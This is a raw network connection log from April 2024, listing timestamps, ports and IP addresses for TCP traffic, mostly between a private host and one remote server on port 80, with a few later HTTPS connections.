Apr 16, 2024 14:26:58.908436060 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908444881 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908457994 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908468008 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908478975 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908615112 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908626080 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908636093 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908646107 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908655882 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908664942 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908675909 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908685923 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908695936 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908706903 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908716917 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908726931 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908737898 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908747911 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908792973 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908802032 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908811092 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908819914 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908830881 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908847094 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908858061 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908866882 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908876896 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908886909 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908896923 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908906937 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908917904 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908929110 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908940077 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908950090 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908958912 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908970118 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.908978939 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:58.910686016 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.239903927 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.239926100 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.239937067 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.239948034 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.239959955 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.239970922 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240058899 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240072012 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240082026 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240093946 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240098953 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240098953 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240099907 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240133047 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240145922 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240155935 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240166903 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240180969 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240190983 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240200043 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240201950 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240200043 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240200996 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240215063 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240221024 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240226030 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240231037 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240231991 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240231991 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240247011 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240258932 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240272045 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240282059 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240293026 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240303040 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240310907 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240310907 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240310907 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240317106 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240328074 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240336895 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240339041 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240351915 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240364075 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240367889 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240375042 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240386009 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240386963 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240400076 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240406036 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240406990 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240412951 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240417957 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240427971 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240438938 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240448952 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240453959 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240461111 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240472078 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240485907 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240495920 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240504026 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240504026 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240506887 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240519047 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240529060 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240530014 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240540981 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240551949 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240556002 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240561962 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240572929 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240576029 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240577936 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240582943 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240592957 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240595102 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240606070 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240617990 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240627050 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240627050 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240641117 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240652084 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240662098 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240669966 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240674019 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240684986 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240693092 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240693092 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240695953 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240709066 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240717888 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240729094 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240740061 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240746975 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240746975 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240751982 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240763903 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240772963 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240772963 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240776062 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240787029 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240798950 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240807056 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240812063 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240823030 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240833044 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240833044 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240845919 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240849018 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240856886 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240868092 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240871906 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240879059 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.240892887 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.240915060 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.241127968 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570013046 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570034981 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570046902 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570059061 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570242882 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570244074 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570287943 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570308924 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570319891 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570333004 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570347071 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570358038 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570369005 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570379019 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570378065 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570378065 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570391893 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570404053 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570415974 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570415974 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570415974 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570429087 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570441008 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570446014 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570455074 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570472002 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570482969 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570491076 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570502996 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570504904 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570504904 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570513964 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570525885 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570525885 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570537090 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570548058 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570559025 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570569992 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570580006 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570581913 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570580006 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570593119 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570602894 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570605993 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570605993 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570615053 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570621967 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570626974 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570631027 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570631981 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570641041 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570655107 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570667028 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570677996 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570677996 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570689917 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570699930 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570702076 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570713997 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570722103 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570725918 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570735931 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570741892 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570746899 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570758104 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570766926 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570769072 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570780993 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570785046 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570786953 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570794106 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570802927 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570804119 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570815086 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570827961 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570838928 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570847988 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570853949 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570859909 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570871115 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570882082 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570882082 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570882082 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570892096 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570900917 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570902109 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570914030 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570918083 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570924044 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570934057 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570940971 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570944071 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570955038 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570960045 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570964098 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570970058 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570975065 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570976973 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.570981026 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.570990086 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571002960 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571012020 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571022987 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571026087 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571033001 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571042061 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571052074 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571057081 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571062088 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571073055 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571082115 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571091890 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571094036 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571094036 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571094990 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571094990 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571101904 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571115017 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571126938 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571130037 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571130037 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571135998 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571146965 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571150064 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571156025 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571166039 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571167946 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571177959 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571188927 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571193933 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571199894 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571212053 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571218967 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571221113 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571230888 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571237087 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571243048 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571253061 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571257114 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571263075 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571274042 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571275949 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571283102 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571291924 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571293116 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571302891 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571312904 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.571314096 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571321964 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:26:59.571345091 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:26:59.617969990 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:00.600181103 CEST	49675	443	192.168.2.5	23.1.237.91
Apr 16, 2024 14:27:00.600202084 CEST	49674	443	192.168.2.5	23.1.237.91
Apr 16, 2024 14:27:00.693906069 CEST	49673	443	192.168.2.5	23.1.237.91
Apr 16, 2024 14:27:01.639216900 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:01.721950054 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:01.744395018 CEST	49713	80	192.168.2.5	104.16.185.241
Apr 16, 2024 14:27:01.848726034 CEST	80	49713	104.16.185.241	192.168.2.5
Apr 16, 2024 14:27:01.848913908 CEST	49713	80	192.168.2.5	104.16.185.241
Apr 16, 2024 14:27:01.849190950 CEST	49713	80	192.168.2.5	104.16.185.241
Apr 16, 2024 14:27:01.953386068 CEST	80	49713	104.16.185.241	192.168.2.5
Apr 16, 2024 14:27:01.968631029 CEST	80	49704	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:01.968810081 CEST	49704	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:01.975649118 CEST	80	49713	104.16.185.241	192.168.2.5
Apr 16, 2024 14:27:02.035868883 CEST	80	49712	128.199.113.162	192.168.2.5
Apr 16, 2024 14:27:02.036179066 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:02.036804914 CEST	49712	80	192.168.2.5	128.199.113.162
Apr 16, 2024 14:27:02.053008080 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 16, 2024 14:27:02.053102970 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 16, 2024 14:27:02.117399931 CEST	49713	80	192.168.2.5	104.16.185.241
Apr 16, 2024 14:27:02.247052908 CEST	49714	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:27:02.247102022 CEST	443	49714	142.250.105.99	192.168.2.5
Apr 16, 2024 14:27:02.247277975 CEST	49714	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:27:02.248137951 CEST	49714	443	192.168.2.5	142.250.105.99
Apr 16, 2024 14:27:02.248157024 CEST	443	49714	142.250.105.99	192.168.2.5
Apr 16, 2024 14:27:02.327608109 CEST	49715	443	192.168.2.5	104.21.44.66
Apr 16, 2024 14:27:02.327649117 CEST	443	49715	104.21.44.66	192.168.2.5
